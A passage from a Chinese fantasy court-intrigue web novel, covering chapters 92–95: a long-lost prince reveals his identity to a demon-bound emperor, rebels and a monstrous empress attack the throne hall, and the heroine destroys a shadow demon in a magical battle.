那团影子似乎因刚才的邪术波动和大量死亡气息而有些“活跃”,它发出低沉模糊、充满不耐烦与贪婪的絮语:“长生?哼……你这段时间……供奉的血肉魂魄……质量越来越差……数量也不够……还想长生?痴心妄想……”
皇帝更加惶恐,磕头如捣蒜:“大仙恕罪!大仙恕罪!是那些逆子逆臣坏事!只要大仙再帮我一次,平定这次叛乱,我一定……一定把那些叛军、还有不听话的妃嫔大臣……统统献祭给大仙!求大仙开恩!”
影妖似乎有些意动,但更多的是对被中途打断“进食”的不满,以及对这个越来越“没用”的“仆人”的轻视。它蠕动着,似乎想将这个近在咫尺、灵魂已开始腐朽的“皇帝”直接吞噬,弥补
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刚才的“损失”。
然而,就在这时,密室外传来一阵急促但规整的脚步声和禀报声:“陛下!陛下!叛军已基本肃清,三皇子被擒,皇后及其党羽伏法!诸位大臣已在殿外等候,请陛下主持大局,稳定朝纲,商议善后及……国本之事!”
是大臣们来了!按照规矩,宫变初定,皇帝必须立刻露面,主持朝会,安定人心,尤其是决定新任太子人选,三皇子已废,这是关乎国本的大事,刻不容缓。
影妖显然也察觉到了外面大量“生人”的气息,它虽然贪婪,但似乎有所顾忌,不愿在此时彻底暴露,引起不必要的麻烦,尤其是刚才那个打断它“好事”的邪术师留下的气息让它有些警觉。
它发出一声不满的嘶鸣,缩回了黑暗更深处,只留下冰冷的一句话在皇帝脑海回荡:“……废物……下次供奉……若再不够……你就自己……成为供奉吧……”
皇帝如蒙大赦,又心有余悸,连滚爬爬地出了密室,勉强整理了一下狼狈的仪容,在侍卫搀扶下,朝着举行朝会的太和殿走去。他心中惊惧未消,对长生的渴望却因濒死体验而更加炽烈,同时对“不中用”的儿子们也越发不满和失望。
太和殿内,气氛肃杀而微妙。血迹被匆忙擦拭,但血腥气依旧隐隐可闻。大臣们惊魂未定,许多人家族在叛乱中受损,或自身受惊,此刻强打精神,肃立殿中。三皇子被除爵囚禁,皇后被褫夺封号打入冷宫,相关党羽正在被清算。
皇帝高坐龙椅,丝怒火窜上他的脸,“三皇子李玄好大的胆子,所有叛军和这个逆子一起,明日斩首!”
他脸色苍白,眼下乌青,龙袍虽换了新的,却掩不住那份从骨子里透出的衰败与惊惶。
他听着大臣们奏报平叛经过、伤亡情况,心不在焉,满脑子都是如何再从影妖那里求得长生,以及……该立谁为太子?三皇子已废,大皇子据报重伤濒死,恐怕也撑不了多久,其他皇子要么年幼,要么平庸……
就在这时,殿外传来一阵轻微的骚动,接着,一名太监连滚爬爬地进来,脸上带着难以置信的惊喜,尖声禀报:“陛下!陛下!天佑我朝!大皇子殿下……大皇子殿下他……他苏醒过来了!而且……而且伤势似乎在好转!御医说,简直是奇迹!”
“什么?!
”皇帝猛地从龙椅上直起身,浑浊的眼睛里爆发出惊人的亮光,那不是纯粹的父爱欣喜,而是一种混合了惊异、算计,以及……某种重新燃起的、利用价值的评估。
“快!快宣他觐见!不……等等,”他看了一眼殿中群臣,改口道,“宣大皇子,还有……救了他的一同进殿!朕要亲自问明缘由,重重有赏!”
他隐隐觉得,大皇子能“奇迹”般好转,或许与慕酌、李琰他们有关,而他们……说不定掌握着某种连御医和方士都不懂的、能对抗伤势甚至……延缓衰老的方法?
这想法让他心头一片火热。
慕酌、宛楪已换回相对整齐的装束,以及被简单包扎、换了一身干净袍服、脸色依旧苍白泛青、被两名太监搀扶着的李胜,正等在殿外廊下。周围侍卫林立,气氛肃穆。
李胜虽然清醒,并能勉强站立行走,但赤魔蛊的侵蚀并未根除,只是被宛楪的“青灵护心瓣”和慕酌的一些珍贵丹药强行压制下去,身体极度虚弱,神智也时清时糊,看向慕酌和宛楪的眼神复杂无比,有感激,有羞愧,也有残留的蛊毒带来的偏执与不安。
慕酌看着李胜,想到他之前受皇帝贵妃操控,又想到他刚才拼死一击的勇烈,心情复杂,忍不住低声刺了一句,语气有些冷淡:
“殿下倒是福大命大,命悬一线,还能醒转。只是不知此番‘醒转’,日后是福是祸。”
他指的是李胜体内未解的赤魔蛊,以及他身为皇帝长子、在如此敏感时刻“奇迹”康复,必将被卷入更深的漩涡。
李胜嘴唇动了动,想说什么,却因虚弱和心绪激荡,一时无言。
宛楪站在稍远处,沉默着。她换了女装,虽仍是利落打扮,但难掩清丽容颜。
李胜的目光落在她身上,先是有些茫然,随即,仿佛才真正“看清”她的模样,眼中掠过一丝明显的讶异,脱口而出:“你……原来你真是……”他显然想起了之前宛楪在军营和探查时的男装模样。
慕酌立刻上前半步,挡在宛楪身前,目光警告地看向李胜,声音压得更低,带着不容置疑的维护:“殿下重伤初愈,还需静养,有些事,不必多言,也无需记得。”
李胜一怔,触及慕酌冷冽的眼神,又感受到宛楪平静无波的目光,顿时意识到自己失言,连忙闭口,眼底闪过一丝懊恼与后怕。
他现在自身难保,实在不宜再节外生枝。
就在这时,太监尖利的传唤声响起:“宣——大皇子李胜,慕酌,李琰,觐见——!”
三人收敛心神,李胜在太监搀扶下,慕酌与宛楪跟在稍后,一步步走入那气氛凝重、目光汇聚的太和殿。
92. 他这皇位也该到头了
太监尖利的唱名声穿透殿门。三人收敛神色,李胜由太监搀扶,慕酌与宛楪落后半步,踏入气氛凝重、弥漫着未散血腥与香料混杂气味的太和殿。无数道目光瞬间聚焦而来,惊疑、探究、算计……
皇帝迫不及待,甚至未等他们完全行礼,便急声问道:“胜儿!你……你真的大好了?御医说是这商人和李主簿救了你?究竟如何救治?速速道来!”
李胜虚弱地由太监扶着跪下,声音低哑断续:“回父皇……儿臣……儿臣亦不甚清楚。只记得浑噩痛苦之中,似有清凉之力护住心脉……而后,便渐有知觉……”
皇帝目光立刻灼灼地投向慕酌。
慕酌上前一步,拱手,语气沉稳:“回陛下,臣等机缘巧合,得遇一游方异人,赠予一味奇药,就是我向陛下觐见的那朵,据说能克制某些阴邪侵蚀之物。”
“陛下交给臣这个任务,便斗胆一试。幸得苍天庇佑,陛下洪福,殿下根基深厚,药石见效。其中,李琰主簿出力甚多,若非他临危不乱,竭力协助,恐难成功。”
他巧妙地将功劳分给李琰,符合事实,更是为后续铺垫。
“哦?李琰?”皇帝目光转向一直沉默垂首的李琰,眼中闪过一丝审视,“你倒是有心了。”
李琰适当地露出恭谨又带着恰到好处后怕的表情:“末将不敢居功。全赖慕兄决断,异人赠药。末将只是尽本分,协助照料。陛下与殿下洪福齐天,方能遇难成祥。”
皇帝对他们救治过程的细节并不真那么关心,他急切追问的是:“那‘神物’……可还有剩余?此药既能救胜儿于垂危,想必……想必亦有固本培元、延年益寿之效?”
他的呼吸略显急促,眼中那抹贪婪与渴望几乎掩藏不住。
慕酌面露难色,如实道:“陛下,异人所赠,仅有一剂,已然用尽。不过,”
他话锋一转,再次将焦点引向李琰,“李主簿似乎与那异人有过交谈,或许知晓更多关于此药乃至其他养生延年之法的线索。且此次宫变,李主簿护卫陛下侧翼,于乱军中曾拼死为陛下挡开流矢,忠心可鉴。之后更是不顾安危,四处奔走,为稳定局面殚精竭虑。”
他看似在夸赞李琰的忠心与功劳,实则是步步为营,将李琰推向皇帝视线中心,也暗示他价值不止于“救皇子”。
皇帝听着,看向李琰的目光果然深了几分。一个忠心、能干、可能还知晓“延年”线索的年轻臣子,在眼下皇子凋零、自己又渴求长生的时刻,似乎颇有价值。
他沉吟片刻,道:“李琰,你上前来。朕,有话问你。”
李琰依言上前,跪在御阶之下,垂首聆听。
皇帝打量着他,缓缓道:“此次平乱,你确有功劳。慕商亦对你多有褒奖。你……可还有什么想对朕说的?”
这话带着一丝试探,或许皇帝也隐隐感到这个“李琰”不同寻常。
李琰深吸一口气,再抬头时,眼中已蓄满了压抑多年的悲愤、痛苦与决绝。他不再掩饰自己的声音,清朗中带着颤抖,清晰地响彻大殿:
“陛下!臣……罪臣李琰,今日并非以翊麾主簿身份奏对!罪臣……乃是永昌七年冬月,芷兰宫大火中,本应‘葬身火海’的先帝十三皇子,李修言!”
“哗——!”
满殿顿时一片死寂,随即爆发出难以抑制的惊呼与倒吸冷气之声!所有大臣瞪大了眼睛,难以置信地看着阶下那个跪得笔直、面容因激动而微微扭曲的年轻人。十三皇子?那个早已被认定与淑妃一同烧死的皇子?
皇帝也猛地瞪大了眼睛,身体前倾,死死盯着李琰,手指无意识地抓住了龙椅扶手,骨节发白。震惊、疑惑、审视、一丝不易察觉的慌乱……种种情绪在他脸上飞速掠过。
李琰不等皇帝反应,声音陡然拔高,带着泣血般的控诉,将埋藏多年的真相倾泻而出:“当年芷兰宫大火,并非意外!乃是有人蓄意纵火,欲置我母妃淑妃与臣于死地!臣侥幸被忠仆福海以亲孙替换,送出宫外,流落民间,历经磨难,方得存活至今!”
他目光如炬,扫过殿中某些脸色骤变的老臣,最终回到皇帝脸上,字字铿锵:“而这纵火真凶,经臣多年暗查,便是当年为铲除白家势力、揣摩上意、行此毒计的时任兵部侍郎,而今的当朝丞相——傅恒!”
“傅恒”二字一出,殿中惊呼再起。一些与傅恒不睦或知悉些许旧事的大臣,眼神闪烁。
傅恒本人立于文官前列,脸色瞬间铁青,厉声喝道:“黄口小儿!血口喷人!陛下,此子身份不明,胡言乱语,构陷大臣,其心可诛!”
皇帝看着阶下这个酷似淑妃眉眼、眼中燃烧着仇恨火焰的“儿子”,又瞥了一眼旁边重伤虚弱、眼神复杂的李胜,一个念头电光石火般划过——三皇子已废,李胜重伤难愈且与白家牵连过深,其他皇子不堪大用……
这个突然冒出来的、心怀仇恨却有能力,能救李胜,能在宫变中周旋的“十三皇子”,或许……可以用来制衡,甚至暂时稳住局面?
等他求得长生,再慢慢收拾不迟!
心思急转间,皇帝竟强行压下了最初的震怒与恐慌,脸上露出一种混合着疲惫、痛心与“宽容”的复杂表情,长长叹了口气,声音沙哑道:“你……你真是言儿?这些年……苦了你了。”
“傅恒!”
他忽然厉声转向脸色惨白的丞相,“言儿所言,你可有辩解?”
傅恒噗通跪倒,涕泪横流:“陛下明鉴!老臣忠心耿耿,天地可表!此子不知受何人指使,编造如此骇人听闻的谎言,污蔑老臣,更亵渎天听!陛下万不可信啊!”
皇帝眼中寒光一闪,此刻他急需一个替罪羊来转移部分焦点,安抚“归来的皇子”,也为自己脱身。
傅恒,这个知道太多旧事、如今势力也让他有些忌惮的老臣,正是合适的弃子。
至于真相,谁在乎!
他不再看傅恒,沉声道:
“傅恒身为丞相,纵有无辜可能,然涉及天家旧事,皇
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子指控,其嫌难清。着即革去一切官职爵位,押入天牢,严加审讯!一应党羽,由大理寺彻查!”
“陛下——!”傅恒绝望呼喊,却被如狼似虎的侍卫拖了下去。
处置了傅恒,皇帝目光回到李琰身上,语气缓和了许多,带着疲惫的“慈爱”:“言儿,你母妃之事……朕当年亦心痛不已,追查多年无果,已成心病。今日你归来,指证傅恒,总算……总算让朕看到一线真相。你流落在外,受尽苦楚,朕心难安。”
“即日起,恢复你皇子身份,序齿仍为十三。至于白家……”
他顿了顿,看到李琰眼中瞬间燃起的希冀,心中冷笑,面上却为难道,“当年谋逆案,先帝定谳,牵扯甚广,证据……唉,时隔多年,恐难轻易翻案。待朕仔细查阅旧档,再行商议,你看可好?”这是明显的拖延与敷衍。
李琰心中毫无波澜,他岂不知皇帝打算?
但此刻刚恢复身份,根基全无,皇帝态度未明,傅恒虽倒,余党未清,绝非强行翻案良机。
更何况,他也不是那么在乎白家,只不过这个皇帝做了这么久……
他低头道:“儿臣……明白。全凭父皇圣裁。只要父皇愿查,儿臣便心存希望。”
皇帝满意地点点头,又看向一旁沉默的李胜和贵妃,眼中闪过一丝厌恶与决断:“贵妃白氏,教养无方,致使皇子身染邪毒,更于宫闱之中行秽乱苟且之事,德行有亏,不堪为妃。即日起废为庶人,打入冷宫!”
他本想直接处死或贬为最低等的奴役,但瞥见李琰紧握的拳头和李胜骤然抬起的惊恐目光,又想到白家“旧案”未翻,做得太绝恐生变数,便改了口。
旁边有老臣适时出列,以“皇子生母,宜存体面”为由劝谏,皇帝顺势下台:“也罢,念其生育皇子有功,免为庶人,与其子李胜,一并迁出皇宫,于京郊别院安置,无诏不得入宫!”
算是保住了他们最低限度的自由与性命,大皇子也未被削爵,只是变相放逐。
李琰知这已是目前能争取到的最好结果,他按下心绪,转而开始对皇帝说各种恭顺感恩的话,表达忠心,刻意迎合皇帝对长生的渴望,言辞间暗示自己或许有门路寻访“仙踪”、“灵药”。
皇帝果然大感兴趣,尤其是听到“长生”相关,精神都为之一振,连声追问。
李琰见火候已到,从怀中郑重取出一个早已备好的、雕刻着云纹符箓的玉盒,恭敬举起:
“父皇,儿臣流落民间时,曾于某处古洞偶得先贤遗泽,获此一枚‘九窍还真丹’。”
“据遗留帛书所述,有固本培元、祛病延年之奇效,甚至……对感悟天地、滋养神魂亦有益处。
儿臣不敢擅用,今日献予父皇,愿父皇圣体康泰,福寿永昌!”
这丹药,实则是他与慕酌、宛楪商议后,用一些珍稀但无害的滋补药材,秘制而成,专为投皇帝所好。
皇帝眼睛死死盯着那玉盒,呼吸急促:“快!快呈上来!”
93. 叛军再起
太监连忙躬身接过那方寸大小的玉盒,指尖微颤。按宫中铁律,一名面色枯黄、专司此职的老内侍上前,用银匙极小心的刮下几乎看不见的一点丹屑,合水服下。
殿内落针可闻,所有的目光都胶着在那老内侍脸上。只见他原本灰败的面皮,竟以肉眼可见的速度透出一层薄薄的活气,昏聩的老眼也亮了些许。
他细细体味片刻,忽地跪倒,声音因激动而发颤:“陛下…此药…此药入口清润如泉,药力却温和醇厚,如暖阳普照…奴才、奴才只觉得积年的沉乏都被驱散了几分,通体舒泰!”
皇帝闻言,眼中爆发出难以抑制的狂喜,最后一丝疑虑烟消云散。他几乎是抢过玉盒,将那枚氤氲着奇异清香的丹药纳入口中,不及细品便吞咽下去。
丹药入腹,果然如那内侍所言,一股融融暖意自丹田升起,迅速流遍四肢百骸,多日来如附骨之疽的惊惶、疲惫、还有那夜夜纠缠的梦魇所带来的阴冷,竟被这股暖流驱散了大半。
他苍白的脸上涌起病态的红晕,长久以来第一次感到力量重回躯体,连呼吸都畅快起来。再看阶下的李琰,竟也觉得顺眼了许多,不由抚掌大笑,声震殿梁:
“好!好丹药!琰儿,朕心甚慰,孝心可嘉!”
他正沉浸在这久违的舒畅感中,意气风发,甚至开始盘算着借这丹药之力,回头再去与那影妖周旋,或许能争得更多好处——
为了私自占有,皇帝只仓促留下了慕酌、宛楪、李琰,以及被太监搀扶着的李胜在殿中,同时厉声喝令其余大臣速速退出殿外。
“砰——!!!”
一声震耳欲聋的爆裂巨响,毫无征兆地炸开!
太和殿一侧紧锁的繁复雕花木窗,仿佛被无形的巨掌从外猛击,轰然粉碎!
木屑裹挟着灰尘如暴雨般喷射进殿,在透过破窗的惨白日光照耀下狂乱飞舞。就在这纷扬的碎末与尘埃中,一道黑影挟带着浓烈得令人作呕的血腥气与彻底的疯狂,直扑殿心!
是皇后!
可她此刻的模样,已非人间之物。
皮肤泛着死尸般的青黑,一双眼睛赤红如滴血,不见半分眼白,口中獠牙刺破嘴唇,狰狞外露,十指指甲变得乌黑尖长,犹如鬼爪。
更骇人的是她周身翻滚的邪气,与之前大皇子中蛊时相似,却更狂暴、更混乱、更……充满原始的毁灭欲望。她像一头挣脱所有束缚、被彻底污染的凶兽,喉咙里发出“嗬嗬”的非人低吼,直勾勾地盯着殿中活物。
“护驾——!护驾——!”侍卫们的惊吼变了调,刀剑出鞘的“沧啷”声乱成一片,却掩不住那牙齿打颤的声响。
皇帝脸上的红润瞬间褪得干干净净,比纸还白,方才的暖意被刺骨的寒意取代,他双腿一软,险些瘫倒,被左右太监死死架住才没出丑。
那怪物化的皇后对劈砍而来的刀剑恍若未觉,或者说,那些凡铁仅仅划破了她异化的皮肤,流出少许粘稠的黑血,却无法阻挡她分毫。
她猩红的目光在殿内一扫,猛地锁定了离她最近的慕酌!一声嘶嚎,带着腥风,直扑过去,速度快得只在空中留下一道残影!
慕酌瞳孔微缩,却未慌乱。电光石火间,他身形如风中劲竹般一侧,险之又险地让过那乌黑的利爪,同时右手并指如刀,精准狠厉地砍在皇后脖颈与肩胛连接的脆弱处,脚下悄无声息地一绊!
这一击一绊,用的是巧劲与对时机的绝妙把握,虽未能伤及这怪物的根本,却成功将其前扑的蛮力与方向带偏。
“嗷——!”皇后怪物发出一声愤怒的咆哮,身形踉跄前冲,双臂胡乱挥舞,将一张沉重的紫檀木椅扫得四分五裂。
“陛下!此地不可久留,速移驾后殿!”慕酌挡在皇帝与怪物之间,声音沉静如铁,却带着不容置疑的急迫。
皇帝早已魂飞魄散,闻言如蒙大赦,在侍卫和太监的簇拥下,连滚爬爬地向后殿退去,仓皇中回头嘶喊,声音尖利变形:“杀了她!给朕杀了这妖物!碎尸万段!”
三皇子一脉居然还有后手!
殿外的平静也被彻底打破!喊杀声、兵刃撞击声、惨叫声陡然从四面八方传来!
竟是三皇子那些未曾被完全剿灭的死忠残部,见皇帝未死,皇后又突发异变,自知绝无生理,竟狗急跳墙,发起最后疯狂的反扑,直冲太和殿!
与此同时,一些素日与李琰结怨或分属不同派系的官员侍卫,也趁此天下大乱之际,或想刺杀李琰以绝后患,或想制造更大混乱谋求私利。
殿内,怪物皇后挣扎着稳住身形;殿外,叛军与禁卫绞杀成一团。太和殿,这帝国权力的中心,瞬间沦为血腥的修罗场!
李琰眼中沉寂多年的寒冰,在这一刻轰然炸裂,化为焚天的烈焰。他等待这一刻,太久太久了。
另一边,重伤的李胜被眼前的惨烈和疯狂刺激得浑身发抖。
当他看见那个昔日与自己明争暗斗、甚至可能参与迫害母妃家族的三皇子,被几名悍勇叛党护着,竟也想趁乱向皇帝退走的方向袭杀时,一股混杂着恐惧、憎恨、还有长期被压抑的屈辱的狂暴情绪,猛地冲垮了他的理智。
“啊——!”他不知从哪里榨出一股力气,猛地推开搀扶的太监,俯身抓起地上一柄不知属于谁、已染满鲜血的冰冷长剑。
剑柄的湿滑触感让他恶心,但掌心传来的寒意却奇异地压下了身体的剧痛。
他眼中温吞懦弱之色尽褪,取而代之的是一种近乎兽类的、孤注一掷的狠厉。低吼一声,他竟不顾胸腹间撕裂般的重伤,拖着蹒跚却决绝的步伐,猛地扑向三皇子!
三皇子正全神贯注于前方的混乱,哪曾料到这奄奄一息的兄长会突然发难?
猝不及防之下,被李胜合身撞中,两人顿时滚倒在地,扭作一团。李胜状若疯虎,毫无章法,
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只凭着一股要与对方同归于尽的戾气,双手死死攥住剑柄,胡乱地、用尽全身力气向下捅刺!
布料撕裂声、钝器入肉声、三皇子短促的惨嚎和难以置信的闷哼混杂在一起。
最终,一剑狠狠刺入,穿透锦袍,穿透肌骨,直没至柄。
三皇子身体猛地一僵,双目骇然圆瞪,死死盯着上方李胜那张因疯狂和痛苦而扭曲的脸,喉间发出“咯咯”的怪响,似乎想说什么,却只有血沫不断涌出。
头一歪,气绝身亡。李胜也仿佛被抽干了所有力气,喷出一大口带着内脏碎片的黑血,瘫软在三皇子逐渐冰冷的尸体上,目光涣散,只剩急促的喘息。
而那怪物化的皇后,在短暂的僵直后,似乎适应了慕酌的攻击方式,或者说,体内那疯狂混乱的邪能彻底主宰了她。
她发出一声更加尖锐刺耳的嚎叫,完全无视了脖颈处的淤伤,猩红的目光再次死死锁定了前方最大的威胁——慕酌!四肢并用,以更快的速度、更狂暴的姿态,再次扑来,腥风扑面,利爪直掏心窝!
慕酌眼神彻底冷冽下来,再无丝毫保留。他看得出,这具躯壳里的人性早已泯灭,留下的只是一具被邪力驱动的杀戮傀儡,其存在本身便是灾祸之源。
面对这毫无理智可言的扑击,他脚下微错,身形不退反进,腰间佩剑在这一刻终于完全出鞘!
剑光并不绚烂,却凝练如一道破开阴霾的冷电,带着斩断一切的凌厉罡气,在皇后怪物利爪即将触及他衣襟的刹那,斜斜向上,疾掠而过!
“嗤——!”
一声令人牙酸的割裂声。乌黑粘稠、散发着刺鼻腥臭的血液如喷泉般溅射开来。皇后怪物那狰狞的头颅与身体分离,高高飞起,脸上凝固着极致怨毒与疯狂的表情。
无头的尸身依靠惯性又前冲了两步,才轰然倒地,抽搐几下,彻底不动了。那一直萦绕不散的、令人胸闷欲呕的邪气,也随之迅速消散。
一直静立旁观的宛楪,却悄然无声地向后退去,隐入了殿角一处未被火光照亮的阴影之中。
她微微侧首,看了一眼那个站在血泊与权柄起点、背影挺直却孤峭的李琰,目光中掠过一丝极淡的、难以解读的情绪。
随即,她的视线越过破碎的窗棂,投向了皇宫深处——那阴气最为凝滞厚重、影妖盘踞的方位。清澈的眼眸深处,闪过一丝冰雪般的决然。
她的任务,远未结束。殿中的杀戮或许清算了部分人间罪孽,但那隐匿于最深黑暗中的、吞噬生命与光明的邪祟源头。
影妖,仍未铲除。若不将其彻底拔除,今日流的血,或许明日又会以另一种形式重演。后患,必须根绝。
就在两人身影没入黑暗时,宛楪灵觉中突然缠上一股冰冷粘腻的恶意!那恶意远超殿内杀伐,带着居高临下的审视与贪婪,直接在她脑海中响起:
“找到你了……特殊的小东西……”
94. 消灭
太和殿外,众人正沉浸在改朝换代的混乱与震惊之中。
宛楪身处人群,却敏锐地察觉到那股熟悉且邪恶的气息陡然增强,她心中暗叫不好,下意识环顾四周。
就在这时,一道漆黑如墨的裂缝毫无征兆地在她脚下撕开,浓稠的黑暗如汹涌的漩涡,瞬间将她吞噬。
众人只来得及发出一阵惊呼,宛楪的身影便消失得无影无踪,一切发生在转瞬之间,在众目睽睽之下,宛楪就这样被强行拽入影妖的领域。
宛楪只觉眼前一黑,再睁眼时,已置身于那座位于冷宫群最偏僻角落、外观破败的殿宇内的黑暗空间。
粘稠的黑暗如实质般在身边蠕动,中心处,那团不断变幻形状、边缘模糊不清的“影子”正悬浮着,散发出令人灵魂战栗的邪恶威压。
“哼,小东西,咱们又见面了。”影妖发出重叠混响的嘶哑声音,带着一丝戏谑与得意,“这次,你可逃不掉了。”
宛楪心中虽惊,但表面依旧镇定,周身迅速泛起一层淡薄却坚韧的青色光晕,勉强驱开身周尺许的粘稠黑暗与侵蚀,冷冷道:
“你以为这样就能困住我?你这作恶多端的孽畜,今日便是你的末日。”
“末日?就凭你?”
影妖张狂大笑,黑暗瞬间剧烈翻腾,“在我的领域里,你不过是待宰的羔羊。”
言罢,无数道扭曲狰狞的黑色触手,如同狂舞的毒蛇,从四面八方朝宛楪席卷而来,触手所过之处,空气发出被腐蚀的“滋滋”声响,地面砖石迅速变得灰白酥脆。
宛楪眼神一凝,不敢有丝毫大意,双手急速结印,指尖青辉暴涨,在身前交织成一片繁复的光网。
光网与黑色触手轰然相撞,爆发出沉闷的巨响与能量涟漪,青黑光芒疯狂互相侵蚀消磨。
光网剧烈震荡,宛楪脸色一白,后退半步,喉间泛起腥甜。这影妖的力量,在吞噬皇帝后似乎又有增强。
影妖一击未果,发出愤怒的嘶鸣:“有点本事,但也就到此为止了!”
黑暗翻涌,更多、更粗壮的触手生成,其中一些触手尖端,竟隐隐幻化出模糊的人脸,发出无声的哀嚎,带着强烈的精神冲击,直扑宛楪神魂。
宛楪紧守灵台,识海中仙草虚影绽放,抵挡那无孔不入的怨念冲击。
同时,她身形飘忽,如同风中柳絮,在无数触手的缝隙间穿梭闪避,指尖不断射出凝练如针的青芒,精准地点在触手的关节或能量节点上,将其暂时击散或阻滞。
一时间,殿内青黑光芒交错闪烁,轰鸣不断,宛楪虽处于守势,身法灵动,应对也算得当,但明显能看出她消耗极大,额角已见细密汗珠,脸色越发苍白。
“看你还能撑多久!”
影妖似乎失去了耐心,那团黑暗核心骤然收缩,随即猛地向外爆发出一圈肉眼可见的灰黑色波纹!“秽土转生·域!”
霎时间,以影妖为中心,方圆数十丈内的空间仿佛被拖入了另一个维度。地面不再是砖石,而是蠕动着的、如同活体血肉般的暗红色物质;
空气中弥漫着浓稠的、带着铁锈和甜腻腐败味道的“雾霭”;殿宇残存的梁柱扭曲生长,变成如同巨大骨骼般的怪异形状。
更可怕的是,这领域内的“规则”似乎被扭曲了,宛楪感觉自身的灵力运转变得滞涩,仿佛陷入泥沼,而那无处不在的灰黑“雾霭”则不断试图侵蚀她的护体灵光,消磨她的生机。
“这是……领域之力?”
宛楪心头剧震。能初步掌控并改变一方小天地的规则,这影妖的实力,恐怕已接近某些传说中的“大妖”层次!
她想起北国近年气候异常,时而酷热干旱,时而阴寒骤雨,某些地方甚至出现草木逆生、动物畸变的传闻……难道都是这影妖试验或施展类似手段的余波?
“现在明白差距了?”影妖的声音从领域的各个角落传来,带着猫捉老鼠般的戏谑,“在这里,我便是主宰!你的灵力,你的生机,都将成为我这‘秽土’的养分!看看你能坚持到几时!”
话音未落,领域内那些蠕动的“血肉地面”突然裂开无数口子,喷吐出浓绿色的毒瘴;扭曲的“骨柱”上睁开一只只没有瞳仁的灰白眼睛,射出令人头晕目眩的精神射线;空气中凝出无数细小的、带着倒刺的黑色冰晶,如同暴雨般攒射而来!
宛楪陷入了前所未有的苦战。她将身法催动到极致,在有限的空间内闪转腾挪,双手印诀变幻不定,时而布下防护结界,时而以精纯灵力凝成光刃斩向袭来的攻击,时而又需分心稳固识海,抵御无孔不入的精神侵蚀。青色的灵光在她周身明灭不定,如同暴风雨中飘摇的烛火。
“嗤啦!”一道隐蔽的黑色冰晶划破了她的衣袖,留下一道深可见骨的伤口,伤口处没有流血,反而迅速变得乌黑,传来麻木与腐蚀的剧痛。
“呃!”宛楪闷哼一声,动作微微一滞,立刻又被几道精神射线击中,脑海中一阵刺痛晕眩。
影妖的攻击愈发狂暴密集,宛楪左支右绌,险象环生。护体灵光越来越暗淡,身上添了多处伤口,气息也急速萎靡下去。她知道自己恐怕支撑不了多久了。
就在宛楪灵力几近枯竭,意识也开始模糊,眼看就要被无数攻击吞没的刹那——
异变陡生!
一抹极其纯净、充满盎然生机的翠绿色光芒,毫无征兆地在她身前绽放!这光芒并非来自宛楪自身,也不同于影妖的污秽黑暗,它温暖、柔和,却带着一种不容亵渎的、仿佛源自天地本源的生命之力。
翠绿光芒化作一道薄薄的光幕,堪堪挡住了最为致命的一波攻击。光幕虽然也剧烈波动,却异常坚韧。
“谁?!”影妖又惊又怒,领域之力疯狂压向那抹绿光。
宛楪也愣住了,她并未呼唤援手,这力量从何而来?而且这气息……似妖非妖,似灵非灵,纯净至极,却又带着一种古老的韵律。
翠绿光芒没有回应影妖的怒吼,也
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没有进一步攻击,只是牢牢护在宛楪身前,为她争取了宝贵的喘息之机。光芒中,隐约似乎有一段蜿蜒的藤蔓虚影一闪而逝。
影妖暴怒,领域内所有攻击调转方向,疯狂轰击那翠绿光幕,同时嘶吼着:“藏头露尾!给本尊滚出来!”它似乎对这突如其来的、属性相克的力量极为忌惮和厌恶。
趁着翠绿光芒抵挡的间隙,宛楪强提最后一丝灵力,眼神变得无比决绝。她知道自己已无力正面抗衡这掌握了领域的影妖,而眼前这莫名的援助也不知能持续多久。唯有一搏!
她咬破舌尖,一口精血喷在双手急速结出的最后一个、也是最为复杂古老的印诀上。体内残存的所有灵力,连同那口蕴含本源的精血,疯狂涌入印诀之中。
一朵通体由青色光芒构成、边缘却燃烧着淡淡血色火焰的莲花虚影,自她掌心缓缓升起。莲花不大,却散发着一种令空间都微微扭曲的毁灭性能量波动,其核心处,一点极致的白光酝酿,仿佛能净化湮灭一切污秽。
“去!”
宛楪脸色惨白如纸,七窍都渗出血丝,用尽最后力气将手中那朵蕴含着毁灭力量的青莲推向影妖的核心——那团不断变幻的黑暗!
青莲所过之处,影妖的“秽土领域”如同遇到克星般剧烈波动、消融!那些血肉地面、骨柱、毒瘴、冰晶……纷纷在青莲散发的净化白光中化作缕缕青烟消散!
“不——!这是什么力量?!”影妖发出惊恐愤怒到极点的尖叫,它感觉到了致命的威胁!它疯狂调动领域之力,凝聚成一面面厚重的黑暗盾牌挡在身前,同时本体急速向后退缩,想要遁入更深层的黑暗。
然而,青莲寂灭印一旦锁定,岂容轻易逃脱?
“轰——!!!!!”
青莲在触及第一面黑暗盾牌的瞬间,猛然爆开!没有震耳欲聋的巨响,只有一种仿佛能吞噬一切声音与光线的极致白光爆发开来!那白光并不刺眼,却带着无与伦比的净化与湮灭之力,如同潮水般席卷了整个“秽土领域”!
“啊——!!!”影妖凄厉到不似人声的惨叫戛然而止。
白光持续了数息时间,缓缓消散。
破败的殿宇重新显露出来,地面是普通的、碎裂的砖石,空气中弥漫着尘土和一种淡淡的、类似阳光晒过雨后草木的清新气息。
影妖那令人窒息的气息,连同它那邪恶的领域,消失得无影无踪,仿佛从未存在过。
只有殿宇中央的地面上,残留着一小片如同灰烬般的、正在迅速风化消失的黑色痕迹,或许是影妖最后的残渣。
赢了?那恐怖至极的影妖……被消灭了?
宛楪紧绷的神经骤然放松,随之而来的是排山倒海般的虚弱、剧痛与神识的模糊。她身体晃了晃,有些支撑不住。
她似乎隐约看到,那抹救了她一命的翠绿色光芒,在她倒地的前一刻,轻柔地托了她一下,然后如同它出现时一样,悄无声息地消散在空气中,再无痕迹。
95. 弑君杀父
此刻,殿内残余的反扑力量,已被杀神般的李琰与回过神来的侍卫联手镇压;殿外的叛党,也被闻讯赶来的更多援军分割剿灭。
喊杀声渐渐平息,只剩下伤者的呻吟和火焰舔舐木料的噼啪声。狼藉不堪的大殿中,弥漫着浓重得化不开的血腥味、焦糊味和一种劫后余生的死寂。
皇帝在层层甲士的保护下,惊魂稍定,从后殿门缝中窥见殿内似乎已无那怪物的踪影,尤其是看到皇后身首异处的尸身和三皇子毙命当场的惨状,心中非但没有悲恸,反而升起一股扭曲的快意与卸下重负般的轻松——这两个最令他忌惮、又知晓他隐秘丑恶的“身边人”,终于都消失了。
他深吸一口气,勉强挺直了因恐惧而佝偻的脊背,推开挡在身前的侍卫,重新走回这片狼藉的殿中。
目光扫过满地的尸体、浴血的众人,最后落在持剑而立、眼神如万载寒冰的李琰,以及收剑入鞘、面色沉静却气息凛然的慕酌身上。
